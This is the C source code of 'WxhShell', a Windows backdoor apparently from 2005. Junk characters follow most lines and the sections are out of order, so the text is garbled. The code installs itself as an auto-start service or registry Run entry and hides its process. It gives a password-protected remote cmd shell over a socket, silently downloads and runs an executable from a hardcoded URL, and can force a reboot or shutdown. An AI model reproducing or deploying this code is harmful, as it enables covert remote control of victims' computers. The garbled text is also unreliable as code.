    if(Boot(SHUTDOWN)) /Y[o=Uyl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -nk#d%a\  
    else { TcD[Teu  
    closesocket(wsh); FU\/JF.j  
    ExitThread(0); )!k_Gb`#X  
    } ~#"7,rQp  
    break; )ojx_3j8  
    } N xb\[  
  // 获取shell E-sSRt  
  case 's': { cc41b*ci$  
    CmdShell(wsh); R6q4 ["  
    closesocket(wsh); z0 2}&^Zzk  
    ExitThread(0); /&$"}Z6z  
    break; TTZ['HP oI  
  } wI! +L&Q  
  // 退出 t0e{| du  
  case 'x': { M_h8#7{G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U.RW4df%E  
    CloseIt(wsh); lMBX!9z  
    break; O:;OR'N9  
    } -4e) N*VVu  
  // 离开 9K;k%  
  case 'q': { 4r1<,{gCS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f4'El2>-86  
    closesocket(wsh); v`S2M  
    WSACleanup(); xN`r4  
    exit(1); ]bTzbu@  
    break; j9URl$T:  
        } - J"qrpZ^  
  } QSHJmk 6L  
  } V)0[`zJ  
s]y-pZ  
  // 提示信息 4jX@m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d&[iEU  
} AozmO  
  } @sw9A93A  
\ fK47oV  
  return; |P~O15V*Q  
} GS ;HtUQ  
nTys4 R  
// shell模块句柄 3s`V)aXP  
int CmdShell(SOCKET sock) =Kc|C~g  
{ EqD^/(,L2  
STARTUPINFO si; j?:`-\w5  
ZeroMemory(&si,sizeof(si)); 4llD6&%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Aq V09 $  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W/ g|{t[  
PROCESS_INFORMATION ProcessInfo; e9CP802#2  
char cmdline[]="cmd"; ^W Y8-6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `FA) om  
  return 0; qDnCn H  
} nnt8 sf@\  
i`[#W(m  
// 自身启动模式 5vD3K! \u  
int StartFromService(void) J| SwQE~  
{ 6exI_3A4jh  
typedef struct YBX)eWslK  
{ (U|)xA]y!  
  DWORD ExitStatus; dqqnCXYuW  
  DWORD PebBaseAddress;  vv+TKO  
  DWORD AffinityMask; F:M>z=  
  DWORD BasePriority; 6xH;: B)d  
  ULONG UniqueProcessId; X=v~^8M7%  
  ULONG InheritedFromUniqueProcessId; &Nc[$H7<  
}   PROCESS_BASIC_INFORMATION; wgY6D!Y   
}m6f^fs}  
PROCNTQSIP NtQueryInformationProcess; ?gLR<d_  
[IiwNqZ[~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,YjxC p3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u`'ki7LA  
/~40rXH2C  
  HANDLE             hProcess; Hm>-LOCcl  
  PROCESS_BASIC_INFORMATION pbi; 7\mDBG  
:?HSZocf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r5o@+"!  
  if(NULL == hInst ) return 0; Iq{o-nq  
,-@xq.D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 807al^s x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bqSMDK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h`=r )D  
oZgHSRRL  
  if (!NtQueryInformationProcess) return 0; kMM'[w  
jcE Msc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wGg0 hL  
  if(!hProcess) return 0; }FrEF\}]_7  
'%R<"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~gP7s_ qr{  
qQ^d9EK'?~  
  CloseHandle(hProcess); swt tp`  
]k[x9,IU\y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E W`W~h[  
if(hProcess==NULL) return 0; %/51o6a  
F8;mYuA  
HMODULE hMod; 6DB0ni  
char procName[255]; d$w(-tV42  
unsigned long cbNeeded; ~i% -WX  
C1b*v&1{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z. 'Fv7  
$; ?c?n+  
  CloseHandle(hProcess); C>^,*7dS  
wb b*nL|P  
if(strstr(procName,"services")) return 1; // 以服务启动 kP@H G<~  
IXnb]q.  
  return 0; // 注册表启动 TN5>"? ?"  
} oz LH]*  
+jUgx;u,  
// 主模块 ]DO&x+Rb  
int StartWxhshell(LPSTR lpCmdLine) e,(a6X  
{ t<Ot|Ex  
  SOCKET wsl; xk& NAB  
BOOL val=TRUE; )i;un.  
  int port=0; _6ZzuVv3/  
  struct sockaddr_in door; +p9- .YM  
vv+km+  
  if(wscfg.ws_autoins) Install(); }MP>]8Aq  
rvwa!YY}  
port=atoi(lpCmdLine); Xh?4mKgu  
P$_&  
if(port<=0) port=wscfg.ws_port; +~N!9eMc  
=~&VdPZ  
  WSADATA data; YxXq I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9UV9h_.x  
U9 #w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =-w;z x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [ 7g><  
  door.sin_family = AF_INET; UbO4%YHt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *7ZtNo[+  
  door.sin_port = htons(port); =_l)gx+Y+y  
++b$E&lYU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |#k@U6`SG  
closesocket(wsl); }Al YNEY  
return 1; J/ vK6cO\  
} lbTV$A  
V4|uas{0I:  
  if(listen(wsl,2) == INVALID_SOCKET) { [KSH~:h:NR  
closesocket(wsl); )qv2)a!H  
return 1; /N6}*0Ru  
} Xd3}Vn=  
  Wxhshell(wsl); $#e1SS32  
  WSACleanup(); 0]B(a  
?^}_j vT  
return 0; 7b,(\Fm  
ZIDbqQu  
} _|A+ ) K  
FH8k'Hxg  
// 以NT服务方式启动 {WQq}-(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ygzxCn|#  
{ <.bRf  
DWORD   status = 0; 1Ipfw  
  DWORD   specificError = 0xfffffff; Xh F _]  
D<>@ %"%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ab2Q \+,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I-kWS 4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5wv fF.v  
  serviceStatus.dwWin32ExitCode     = 0; BEUK}T K4  
  serviceStatus.dwServiceSpecificExitCode = 0; uH:YKH':/  
  serviceStatus.dwCheckPoint       = 0; V%*b@zv  
  serviceStatus.dwWaitHint       = 0; x6W `hpL  
1_hW#I\'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  cG{L jt  
  if (hServiceStatusHandle==0) return; eM2|c3/  
Su7bm1  
status = GetLastError(); LHkQ'O0  
  if (status!=NO_ERROR) =^tA_AxVw  
{ +.kfU)6@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  U>a\j2I  
    serviceStatus.dwCheckPoint       = 0; Jxa4hM0  
    serviceStatus.dwWaitHint       = 0; Hr^3`@}#1  
    serviceStatus.dwWin32ExitCode     = status; g9~]s 9  
    serviceStatus.dwServiceSpecificExitCode = specificError; pDl3!m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D=+NxR[  
    return; IeP WOpj3  
  } TB!(('  
T^:fn-S}=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4CrLkr  
  serviceStatus.dwCheckPoint       = 0; p*20-!{A  
  serviceStatus.dwWaitHint       = 0; sOpep  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <%P2qgz5  
} D +RiM~LH8  
xr%#dVk  
// 处理NT服务事件,比如:启动、停止 Ln!A:dP}c-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nB5zNyY4  
{ k XrlSaIc  
switch(fdwControl) KOh A)  
{ fuMJdAuY7d  
case SERVICE_CONTROL_STOP: ^5; `-Ky  
  serviceStatus.dwWin32ExitCode = 0; 2VoKr)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _>yoX  
  serviceStatus.dwCheckPoint   = 0; Uz dc  
  serviceStatus.dwWaitHint     = 0; oM1Qh?  
  { y7)(LQRE {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]uQqn]+I!  
  } mJ}opy!{;  
  return; = 1.9/hW  
case SERVICE_CONTROL_PAUSE: bt$)Xu<R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y*23$fj(  
  break; Ig6T g ?  
case SERVICE_CONTROL_CONTINUE: :j^FJ@2_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x@KZ ]  
  break; S DLvi!y  
case SERVICE_CONTROL_INTERROGATE: B9,^mE#  
  break; \tN-(=T  
}; !?!C'-ps  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ye}p~&  
} >e,mg8u6$  
Zd:Taieh@  
// 标准应用程序主函数 0#*Lw }qi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c>"cX&  
{ UVQ7L9%?f  
'#/G,%m<!i  
// 获取操作系统版本 kgi>} %  
OsIsNt=GetOsVer(); [U/(<?F{(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;j8 )KC  
3?n>yS  
  // 从命令行安装 w= P 9FxB  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2*iIjw3g  
v <Kmq-b  
  // 下载执行文件 U}k9 Py  
if(wscfg.ws_downexe) { E&$yuW^z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Yz$3;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4m)OR  
} jPZaD>!  
67SV~L#%O  
if(!OsIsNt) { n\z,/'d"  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z|" p*5O,  
HideProc(); j _L@U2i  
StartWxhshell(lpCmdLine); wV\gj~U;P  
} T"7~AbgNU  
else $(e#aHB  
  if(StartFromService()) X;v$5UKU  
  // 以服务方式启动 mZz="ZLa:  
  StartServiceCtrlDispatcher(DispatchTable); 4(Iplo*Ys@  
else G  uQ=gN  
  // 普通方式启动 UFAL1c<V  
  StartWxhshell(lpCmdLine); 4k-+?L!/G  
*jIqAhs0{  
return 0; mE%$HZ}  
} jw<pK4?y  
29CINC  
a ] =  
jO*l3:!~\  
=========================================== UhA"nt0  
:+Om]#`Vls  
:0 & X^]\  
k@ZLg9  
xj5;: g#!  
B33$pUk  
" ABE@n%|`  
: G\<y  
#include <stdio.h> I$N8tn+E  
#include <string.h> b2b?hA'k  
#include <windows.h> <Rh6r}f  
#include <winsock2.h> r}[7x]sP  
#include <winsvc.h> J:&[ 59  
#include <urlmon.h> WOuEWw=  
N_:qRpp6i  
#pragma comment (lib, "Ws2_32.lib") ^j-3av=  
#pragma comment (lib, "urlmon.lib") EF3Cdu{]P  
$/!{OU.t`  
#define MAX_USER   100 // 最大客户端连接数 H"ZZ.^"5FV  
#define BUF_SOCK   200 // sock buffer ;22oY>w  
#define KEY_BUFF   255 // 输入 buffer m3Il3ZY.  
)jrV#/m9  
#define REBOOT     0   // 重启 /|6;Z}2  
#define SHUTDOWN   1   // 关机 g~(E>6Y  
2^8%>,  
#define DEF_PORT   5000 // 监听端口 cuy1DDl  
zg-2C>(6a  
#define REG_LEN     16   // 注册表键长度 jck}" N  
#define SVC_LEN     80   // NT服务名长度 ys 5&PZg*  
Vz6Qxd{m3  
// 从dll定义API aaD;jxT&M|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UG=K|OXWJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "Ph^BU Ab  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Na X   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o,|[GhtHqs  
[1.+H yJ}  
// wxhshell配置信息 >4t+:Ut:  
struct WSCFG { UTXSeNP  
  int ws_port;         // 监听端口 \=_{na_  
  char ws_passstr[REG_LEN]; // 口令 Y ')x/H  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0}_[DAd6  
  char ws_regname[REG_LEN]; // 注册表键名 giz7{Ai  
  char ws_svcname[REG_LEN]; // 服务名 gz3pX#S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {nLjY|*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qxj JN^Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f bUr`~Y"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7jdb)l\p=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" As>_J=8} 3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?lP':'P  
/ X1 x  
}; itC-4^  
/Q~i~B 2j-  
// default Wxhshell configuration 0jEL<TgC  
struct WSCFG wscfg={DEF_PORT, n=[/Z!  
    "xuhuanlingzhe", Yk=PS[f  
    1, "I(xgx*  
    "Wxhshell", i':C)7  
    "Wxhshell", cTG|fdgMW  
            "WxhShell Service", IIbYfPiO  
    "Wrsky Windows CmdShell Service", |P%Jw,}]9  
    "Please Input Your Password: ", }sxYxn~  
  1, thhwN A  
  "http://www.wrsky.com/wxhshell.exe", Dc,I7F|%  
  "Wxhshell.exe" ~ 0M'7q'  
    }; cFJY^A  
E~6c-Lw  
// 消息定义模块 vh$%9ed  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %f]:I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <_7*67{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P'_H/r/#  
char *msg_ws_ext="\n\rExit."; 0\eIQp  
char *msg_ws_end="\n\rQuit."; AJ=qna  
char *msg_ws_boot="\n\rReboot..."; ?"g!  
char *msg_ws_poff="\n\rShutdown..."; @ta7"6p-i@  
char *msg_ws_down="\n\rSave to "; !jTcsN%  
Y=Kc'x[,Zj  
char *msg_ws_err="\n\rErr!"; "men  
char *msg_ws_ok="\n\rOK!"; &G-!qxe  
.X;3,D[w  
char ExeFile[MAX_PATH]; /{&tY: ;m  
int nUser = 0; bD?VU<)3  
HANDLE handles[MAX_USER]; _ jsK}- \  
int OsIsNt; .hifsB~  
Om5Y|v"*  
SERVICE_STATUS       serviceStatus; c I4K+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w 47tgPPk  
n^g|Ja  
// 函数声明 (=om,g}  
int Install(void); _WRFsDZ'  
int Uninstall(void); B\XKw'   
int DownloadFile(char *sURL, SOCKET wsh); xU4 +|d  
int Boot(int flag); z*!%g[3I  
void HideProc(void); X<I+&Zi  
int GetOsVer(void); /#)/;  
int Wxhshell(SOCKET wsl); xsD($_  
void TalkWithClient(void *cs); j-lfMEa$o  
int CmdShell(SOCKET sock); s6@DGSJ  
int StartFromService(void); ATK_DE Au  
int StartWxhshell(LPSTR lpCmdLine); 6}FP  
Jt}Bpg!J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 85LAY aw  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  z62;cv  
j3{D^|0bP  
// 数据结构和表定义 yjF1}SQ  
SERVICE_TABLE_ENTRY DispatchTable[] = N u<_}  
{ $adbCY \  
{wscfg.ws_svcname, NTServiceMain}, 6V7B;tB  
{NULL, NULL} %yv<y+yP~  
}; ]d! UJ&<?  
JPoN&BTCj  
// 自我安装 ~=uWD&5B4  
int Install(void) ,Vt/(x-  
{ K/|Z$4S  
  char svExeFile[MAX_PATH]; x$6^R q>2  
  HKEY key; vzim<;i  
  strcpy(svExeFile,ExeFile); E2Q[ZoVS  
\nPEyw,U  
// 如果是win9x系统,修改注册表设为自启动 ~Vr.J}]J  
if(!OsIsNt) { )p<ExMIxd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~?K~L~f5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0.8  2kl  
  RegCloseKey(key); )-a'{W/t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &E.^jR~*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ewctkI$,5  
  RegCloseKey(key); +JjW_Rl?=V  
  return 0; n[lJLm^(_C  
    } ^\4h<M  
  } {y=j?lD  
} iO|se:LY<  
else { i OW#>66d  
Ab{ K<:l  
// 如果是NT以上系统,安装为系统服务 9_Be0xgJ3^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2AT5  
if (schSCManager!=0) H|3:6x  
{ Uq^#riq  
  SC_HANDLE schService = CreateService zh8nc%X{  
  ( [YlKR'_  
  schSCManager, [XEkz#{  
  wscfg.ws_svcname, :bwjJ}F  
  wscfg.ws_svcdisp, y1dDO2mA  
  SERVICE_ALL_ACCESS, L~lxXTG\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fF7bBE)L/|  
  SERVICE_AUTO_START, `d5%.N  
  SERVICE_ERROR_NORMAL, 1Q<^8N)pf  
  svExeFile, )u[emv$  
  NULL, A kC1z73<  
  NULL, a7r%X -  
  NULL, ;f#v0W`5  
  NULL, _m5uDF?[  
  NULL _Kl_61k  
  ); Oo5w?+t  
  if (schService!=0) ZX9TYN  
  { J;.wXS_U8  
  CloseServiceHandle(schService); 4|riKo)  
  CloseServiceHandle(schSCManager); 49GkPy#]L=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .F   
  strcat(svExeFile,wscfg.ws_svcname); "{@A5A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9K{%vK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 47+&L   
  RegCloseKey(key); ,(qRc(Ho  
  return 0; .HS"}A T  
    } BJ$9v bhZN  
  } w$zu~/qV2  
  CloseServiceHandle(schSCManager); 3x{ t(  
}  oM2l-[-  
} Wh+{mvu#  
\^L`7cBL  
return 1; 8 OY3A  
} EofymAi%  
>,gg5<F-E  
// 自我卸载 x@P y>f2  
int Uninstall(void) $PTP/^  
{ m0ER@BXRn  
  HKEY key; EMwS1~3dD  
! h"Kq>9 T  
if(!OsIsNt) { ,J,/."Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1+szG1U=  
  RegDeleteValue(key,wscfg.ws_regname); = RA /  
  RegCloseKey(key); b6nsg|&#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { } ()5"QB  
  RegDeleteValue(key,wscfg.ws_regname); 4>F'oqFF  
  RegCloseKey(key); 0m%|U'm|j  
  return 0; gd%NkxmW  
  } ~ $Tkn_w#  
} <"{qk2LS1  
} Uzz'.K(Mv|  
else { rI= v  
S%bCyK%p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); & ?h#Z!  
if (schSCManager!=0) s.bc>E0  
{ g7}Gip}.>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t3*wjQ3  
  if (schService!=0) =mS\i663  
  { RDW8]=uM  
  if(DeleteService(schService)!=0) { )97SnCkal  
  CloseServiceHandle(schService); `eE&5.   
  CloseServiceHandle(schSCManager); Y-kt.X/Z-  
  return 0; Zn&, t &z  
  } Sg&UagBj  
  CloseServiceHandle(schService); ^o^H3m  
  } 6t>.[Y"v  
  CloseServiceHandle(schSCManager); D>/0v8  
} )j9SGLo  
} hL/)|N~  
K&POyOvT  
return 1; m+`fn;*  
} w~(1%p/  
.L9j>iP9 *  
// 从指定url下载文件 mg^I=kpk  
int DownloadFile(char *sURL, SOCKET wsh) D^yRaP*|7  
{ =5J7Hw&K  
  HRESULT hr; e<3K;Q  
char seps[]= "/";  aC$B2  
char *token; aZ2!i  
char *file; RN$1bxY  
char myURL[MAX_PATH]; /1"(cQ%?  
char myFILE[MAX_PATH]; {G U&a  
|jI#"LbF  
strcpy(myURL,sURL); 3LAIl913  
  token=strtok(myURL,seps); o< |cA5f\  
  while(token!=NULL) I8wXuIN_  
  { {@eJtF+2  
    file=token; 1C< uz29  
  token=strtok(NULL,seps); u[@l~gwL  
  } ^V?<K.F  
>6NRi/[  
GetCurrentDirectory(MAX_PATH,myFILE); ?u{~>  
strcat(myFILE, "\\"); |v \_@09=  
strcat(myFILE, file); 'qZW,],5  
  send(wsh,myFILE,strlen(myFILE),0); ock Te5U  
send(wsh,"...",3,0);  .u*0[N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S?>HD|Z  
  if(hr==S_OK) ^N7e76VwR  
return 0; <Wfx+F  
else @G8lr  
return 1; #*QO3y~ZM  
M9!HQ   
} sx7eC  
6N!Q:x^4(T  
// 系统电源模块 't1 ax^-g  
int Boot(int flag) W#^2#sjO  
{ 6g 5#TpCh  
  HANDLE hToken; ^A!Qc=#z}  
  TOKEN_PRIVILEGES tkp; ;T"zV{;7BR  
HBy[FYa4  
  if(OsIsNt) { 1,6}_MA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @W s*QTlV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n,jKmA  
    tkp.PrivilegeCount = 1; i*|\KM?P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z'4./  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wi*.TWz3  
if(flag==REBOOT) { Gr7=:+0n|P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tX5"UQA  
  return 0; g l^<Q  
} BcL{se9<  
else { ~<O7$~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :yRo3c  
  return 0; KV]X@7`@  
} &,}j #3<  
  } JW{rA6?   
  else { igIRSN}h  
if(flag==REBOOT) { 3Ndq>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  8cU}I4|  
  return 0; k,85Y$`'  
} M.x=<:upp  
else { gnFr}L&j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C9~52+S  
  return 0; ",^Mxm{  
} kqM045W7  
} ]^Qn  
?j40} B]]d  
return 1; >[9J?H  
} 9{(.Il J>  
o^^rJk  
// win9x进程隐藏模块 GR +[UG  
void HideProc(void) z2MWN\?8  
{ :# .<[  
u])b,9&En  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |bq$xp  
  if ( hKernel != NULL ) v9:9E|,U+  
  { le1}0 L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C69q&S,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HW=C),*]cR  
    FreeLibrary(hKernel); 6eT5ktf  
  } ]ro*G"-_1#  
SLkhCR  
return; VRI0W`  
} Jbjmv: db  
j <Bkj/  
// 获取操作系统版本 )we}6sE"  
int GetOsVer(void) .}q&5v  
{ 6HZ`.o:f  
  OSVERSIONINFO winfo; |_] Q$q[[%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8kU! 8^mH  
  GetVersionEx(&winfo); C"!gZ8*\!9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o9JMH.G  
  return 1; v*;-yG&  
  else CS@FYO  
  return 0; {_`^R>"\&w  
} 23c 8  
=-8bsV/l  
// 客户端句柄模块 ;LG#.~f  
int Wxhshell(SOCKET wsl) *QwY]j%^  
{ rf?qdd(~cH  
  SOCKET wsh; yUZb #%n  
  struct sockaddr_in client; O!P H&;H  
  DWORD myID; y`F3Hr c  
:<hXH^n  
  while(nUser<MAX_USER) F @mQQ  
{ r~/   
  int nSize=sizeof(client); rf>0H^r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?$*SjZt  
  if(wsh==INVALID_SOCKET) return 1;  1Md  
VtnRgdJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cl]Mi "3_  
if(handles[nUser]==0) }q $5ig  
  closesocket(wsh); W+PJZn  
else HkO7R `  
  nUser++; E7.2T^o;M  
  } _CmOd-y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vbb 5f#WZ  
)2bvQy8K  
  return 0; G&i!Hs  
} (#Wu# F1;  
1DE1.1  
// 关闭 socket ;A]@4*q  
void CloseIt(SOCKET wsh) PmKeF}  
{ %>~sJ0  
closesocket(wsh); KVn []@#  
nUser--; i+p^ ^t\  
ExitThread(0); ,cB\  
} +z9Q-d%O  
*v9 2  
// 客户端请求句柄 d/BM&r  
void TalkWithClient(void *cs) LcUh;=r}&  
{ yf[~Yl>Ogw  
-=~| ."O  
  SOCKET wsh=(SOCKET)cs; ~$)2s7 O  
  char pwd[SVC_LEN]; { OXFN;2  
  char cmd[KEY_BUFF]; ,q}ML TS i  
char chr[1]; H@q?v+2  
int i,j; U*22h` S  
w8MG(Lq1"  
  while (nUser < MAX_USER) { @JD;k>  
\/: {)T~  
if(wscfg.ws_passstr) { k< y>)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H5Z$*4%G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %p2Sh)@M  
  //ZeroMemory(pwd,KEY_BUFF); 7]blrN]  
      i=0; 4)A#2  
  while(i<SVC_LEN) { , Wk?I%>  
]j`c]2EuP  
  // 设置超时 RxI(:i?  
  fd_set FdRead; v^#~98g]  
  struct timeval TimeOut; j`~Ms>  
  FD_ZERO(&FdRead); kQEy#JQmB  
  FD_SET(wsh,&FdRead); KwPOO{4]g  
  TimeOut.tv_sec=8; B"!l2  
  TimeOut.tv_usec=0; a-=8xs'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^pQCNKLBY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @\f^0^G  
S/9DtXQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,n3a gkPO>  
  pwd=chr[0]; 9%B\/&f  
  if(chr[0]==0xd || chr[0]==0xa) { 0:9.;x9_  
  pwd=0; S7/eS)SQR  
  break; uTKD 4yig  
  } 2QJ{a46}  
  i++; _$ +^q-  
    } |4B:<x   
<Bw^!.jAF  
  // 如果是非法用户,关闭 socket X!9 B2w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #,":vr  
} j$?{\iXZ  
a1_GIM0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AlAYiUw{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9 }PhN<Gd  
i*/Yz*<  
while(1) { D/vOs[X o,  
FVaQEMZ^  
  ZeroMemory(cmd,KEY_BUFF); 59"UL\3  
3|'>`!hb  
      // 自动支持客户端 telnet标准   X voo=  
  j=0; vgfcCcZ_iZ  
  while(j<KEY_BUFF) { D-5VC9{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0w&27wW  
  cmd[j]=chr[0]; ki?S~'a  
  if(chr[0]==0xa || chr[0]==0xd) { tjdaaN#,V  
  cmd[j]=0; L?WFm n  
  break; gG*X^Uo  
  } ZWc]$H?  
  j++; P)Rh=U  
    } j g8fU  
57umx`m  
  // 下载文件 jRJn+  
  if(strstr(cmd,"http://")) { 0n;< ge&~R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;"dV"W  
  if(DownloadFile(cmd,wsh)) ]G5 w6&d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q*_/to  
  else  %oZ6l*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 925|bX6I  
  } W4pL ,(S  
  else { E\as@pqo\p  
f !I[>&n  
    switch(cmd[0]) { +a^nlW9g  
  bN]+_ mF  
  // 帮助 '8!Y D?n  
  case '?': { PIu1+k.r?  
